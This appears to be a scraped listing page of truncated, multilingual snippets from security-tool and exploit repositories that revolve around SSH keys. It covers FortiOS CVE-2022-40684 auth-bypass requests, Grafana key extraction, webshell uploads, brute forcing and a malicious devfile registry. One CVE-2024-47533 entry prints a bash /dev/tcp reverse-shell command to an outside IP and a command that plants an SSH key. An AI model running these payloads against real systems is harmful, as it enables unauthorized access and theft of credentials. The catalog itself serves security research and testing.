authkeysync

AuthKeySync Automatically synchronize SSH public keys from remote URLs to your servers 📖 Full Documentation The Problem Managing SSH access across multiple servers is painful: Team members join or leave, and you need to update authorizedkeys on every server Developers rotate their SSH keys, and n...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS 認証バイパス 大量悪用 /api/v2/cmdb/system/admin/ "ssh-public-key1": "" root@kitploit: ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="127.0.0.1...

crowbar

Crowbar - Brute forcing tool What is Crowbar? Crowbar formally known as Levye is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute...

crowbar

Crowbar - 무차별 대입 도구 Crowbar란 무엇인가? Crowbar 이전에는 Levye로 알려짐 는 침투 테스트 중에 사용할 수 있는 무차별 대입 도구입니다. 다른 인기 있는 무차별 대입 도구들과는 다른 방식으로 일부 프로토콜을 무차별 대입하도록 개발되었습니다. 예를 들어, 대부분의 무차별 대입 도구가 SSH 무차별 대입에 사용자 이름과 비밀번호를 사용하는 반면, Crowbar는 SSH 키를 사용합니다. 이를 통해 침투 테스트 중에 획득한 개인 키를 다른 SSH 서버를 공격하는 데 사용할 수 있습니다. 현재 Crowb...

GrafXploit

Automated Exploit Tool for Grafana CVE-2021-43798 概要 このプロジェクトは、CVE-2021-43798 に対して脆弱な Grafana インスタンスをスキャンし、侵害されたインスタンスから機密情報を抽出するために設計された自動エクスプロイトツールです。このツールは、脆弱性のあるプラグインを特定し、侵害されたユーザーから SSH 鍵を抽出します。 特徴 脆弱性のある Grafana インスタンスの自動スキャン。 脆弱性のあるプラグインの特定。 SSH 鍵を含む機密ファイルの抽出。 単一および複数ターゲットのスキャン対応。...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 도구 소개 CVE-2022-40684에 대한 빠른 익스플로잇 도구입니다. 초보자 코드이며, 문제가 있으면 이슈를 제출해 주세요. 사용 방법 main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub 면책 조항 본 도구는 합법적으로 승인된 기업 보안 구축 활동예: 기업 내부 공격 및 방어 훈련, 취약점 검증 및 재테스트을 대상으로 합니다. 도구의 사용 가능성을 테스트하려면 직접 타겟 환경을 구축하시기 바랍니다. 본 도구를 사용하여 탐지할 때는 ...

CVE-2023-34039

CVE-2023-34039 CVE-2023-34039에 대한 POC: VMWare Aria Operations for Networks vRealize Network Insight 정적 SSH 키 RCE 기술 분석 취약점의 근본 원인 분석은 제 블로그에서 확인할 수 있습니다: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 요약 VMWare Aria Operations for Networks vRealize Network Insight...

CVE-2022-40684

설명 FortiOS, FortiProxy 및 FortiSwitchManager 어플라이언스에 영향을 미치는 CVE-2022-40684 인증 우회 취약점에 대한 익스플로잇입니다. 면책 조항 이 도구는 데모 목적으로만 사용되며, 명시적 승인을 받은 시스템에만 사용하십시오. 프로젝트 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 사용법 root@kitploit: .,-:;//;:=, . :H@@@MM@MH/.,+%;, ,/X+ +M@@M@MM%=,-%HMMM@X/, -+@MM; $M@@MH+-,;XMMMM@MMMM@+-...

CVE-2022-40684

CVE-2022-40684 Fortinet FortiOS、FortiProxy、FortiSwitchManager アプライアンスに影響を与える CVE-2022-40684 の POC 技術分析 本脆弱性の技術的根本原因分析は、私たちのブログでご覧いただけます： https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684 侵害指標（IoC） Fortinet...

CVE-2022-40684

CVE-2022-40684 제작: 1vere$k 지금은 Fortinet FortiOS, FortiProxy 및 FortiSwitchManager 어플라이언스에 영향을 미치는 CVE-2022-40684의 POC 복사본입니다. https://github.com/horizon3ai/CVE-2022-40684 에서 복사했습니다. 분석 이 익스플로잇은 간단한 페이로드를 사용합니다: root@kitploit: PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: Hostname User-Agent:...

sidedoor

sidedoor sidedoor maintains an SSH connection or tunnel with a shell script daemon. The primary use case is maintaining a remote port forward to the local SSH server or another port. Thus, the local device can be accessed without using incoming connections that may be blocked by a NAT or firewall...

CVE-2021-21972

사용법:CVE-2021-21972.py option -u or --url：대상 URL -t or --type：Payload 유형（ssh/webshell） -f or --file：업로드할 파일（webshell 또는 authorizedkeys） 예시：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p or --proxy：프록시 설정 예시：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p...

malicious-devfile-registry

악성 Devfile 레지스트리 이 프로젝트는 GitLab에서 CVE-2024-0402를 악용하는 데 사용할 수 있는 악성 Devfile 레지스트리를 포함합니다. 익스플로잇 경로 탐색 문제를 악용하는 archive.tar 파일을 노출하도록 nodejs:2.2.1 스택이 인덱싱되었습니다. registry-support library before v1.1.0 tar 위치 : malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar 이 파일은 evilarc.py를 사용하여 생성되었으며,...

debian-ssh

Debian OpenSSL 예측 가능한 PRNG 링크 원본 URL: http://metasploit.com/users/hdm/tools/debian-openssl/ 미러 익스플로잇: https://www.exploit-db.com/exploits/5622/ Perl https://www.exploit-db.com/exploits/5720/ Python https://www.exploit-db.com/exploits/5632/ Ruby 권장 도구: Crowbar SSH 키 무차별 대입 가능 테스트 방법: ssh-vulnkey &...

CVE-2024-47533

root@kitploit: 리버스 셸 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 간단한 명령 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' SSH 키 추가 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh...

CVE-2018-17873

CVE-2018-17873 WiFiRanger 실내 라우터Core, GoAC 및 그와 짝을 이루는 실외 라우터Sky Pro, EliteAC, EliteAC FM에서 펌웨어 버전 7.0.8rc3 및 이전 버전을 실행하는 경우 익명 FTP 읽기/쓰기 액세스를 허용하고 SSH 개인 키를 평문으로 남겨두어 키를 보고 복사한 후 루트 권한으로 로그인하는 것을 간단하게 만듭니다. 이 취약점을 악용하려면 인접 네트워크 액세스가 필요합니다. 익스플로잇: 개인 키를 가져와 루트로 로그인하는 매우 간단한 셸 스크립트입니다. 사용법:...

Grafxploit

Grafana CVE-2021-43798 자동 익스플로잇 도구 개요 이 프로젝트는 CVE-2021-43798에 취약한 손상된 Grafana 인스턴스를 스캔하고 민감한 정보를 추출하도록 설계된 자동 익스플로잇 도구입니다. 이 도구는 취약한 플러그인을 식별하고 손상된 사용자로부터 SSH 키를 추출합니다. 기능 취약한 Grafana 인스턴스 자동 스캔 취약한 플러그인 식별 SSH 키를 포함한 민감한 파일 추출 단일 및 다중 대상 스캔 지원 스캔을 위한 사용자 정의 경로 목록 사전 요구 사항 Python 3.x 필수 Python...

kube-alien

Kube-alien 이 도구는 k8s 클러스터 내부에서 공격을 시작합니다. 즉, 실행하려면 클러스터 내에 파드를 배포할 수 있는 권한이 있는 접근 권한이 이미 있어야 합니다. kube-alien 파드를 실행한 후, 이 이미지 https://github.com/nixwizard/dockercloud-authorizedkeys docker/dockercloud-authorizedkeys에서 포크되었으며 config.py의 ADDAUTHKEYSIMAGE 매개변수로 조정 가능를 사용하여 노드의...

CVE-2015-3306

CVE-2015-3306 이 저장소는 ProFTPd 1.3.5 modcopy CVE-2015-3306 취약점에 대한 단일 파일 익스플로잇을 포함하며, 특히 TryHackMe Kenobi Lab을 위해 작성되었습니다. 취약점 설명 CVE-2015-3306 은 ProFTPd 1.3.5 에서 modcopy 모듈의 결함으로 인해 발견된 취약점입니다. 이 모듈은 FTP 파일 복사 작업을 가능하게 합니다. 이 취약점을 통해 THM 플레이어는 SSH 개인 키를 공유 위치로 복사하고 로컬 시스템에 마운트하여 SSH 개인 키를 사용해 사용자에...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Authentication-Bypass CVE-2018-10933 を使用して認証情報なしでシェルを取得する libSSH による CVE-2018-10933 の情報 : https://www.libssh.org/security/advisories/CVE-2018-10933.txt libSSH によるバグ修正リリース : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/ これらのフィンガープリントで適切なサーバーを見つける:...